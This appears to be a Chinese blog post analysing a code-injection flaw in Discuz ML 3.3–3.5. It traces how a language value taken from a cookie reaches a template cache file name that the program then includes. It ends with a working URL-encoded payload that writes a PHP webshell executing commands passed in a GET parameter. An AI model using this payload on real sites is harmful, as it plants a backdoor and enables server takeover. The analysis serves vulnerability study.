discuz3.x rce

環(huán)境

win10 
php 5.5
discuz ML 3.3

存在rce的版本

discuz ML 3.3~discuz ML 3.5

分析過程

  • 根據(jù)payload知道漏洞出在source\module\portal\portal_index.php
  • 跟進(jìn)template()(/source/function/function_core.php)
  • 程序最終返回了DISCUZ_ROOT.$cachefile其中$cachefile
./data/template/'.DISCUZ_LANG.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php
  • 將緩存文件寫在了/data/template/目錄下,文件名由DISCUZ_LANG等多個變量組成
  • 從程序全部變量$_G['config']['output']['language']中獲取了DISCUZ_LANG。系統(tǒng)通過Cookie獲取了語言的值,并在341行定義了DISCUZ_LANG,值為Cookie中獲取到的$lng。
  • 外部參數(shù)$lng(即language語言)可控,導(dǎo)致template 函數(shù)生成的臨時(shí)模板文件名可操縱,插入自己的代碼,最終include_once包含一下最終導(dǎo)致了代碼注入
  • 寫入webshell
sc%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2547%2545%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27

PS:文件包含也會執(zhí)行代碼

參考文獻(xiàn):
https://mp.weixin.qq.com/s?__biz=MzU2NDc2NDYwMA==&mid=2247483944&idx=1&sn=ba9f6f99967e31fd56634f714d8ae650&chksm=fc4748ffcb30c1e99aefd6cb5536a1e2eac2ba836c631c9533f3ba3d8669dbaa7ec0c6f60eb6&mpshare=1&scene=23&srcid=#rd
https://od0d.cn/2019/07/11/Discuz-ML-V3-X-%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5%E5%88%86%E6%9E%90%E8%B8%A9%E5%9D%91%E7%BB%8F%E5%8E%86/

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容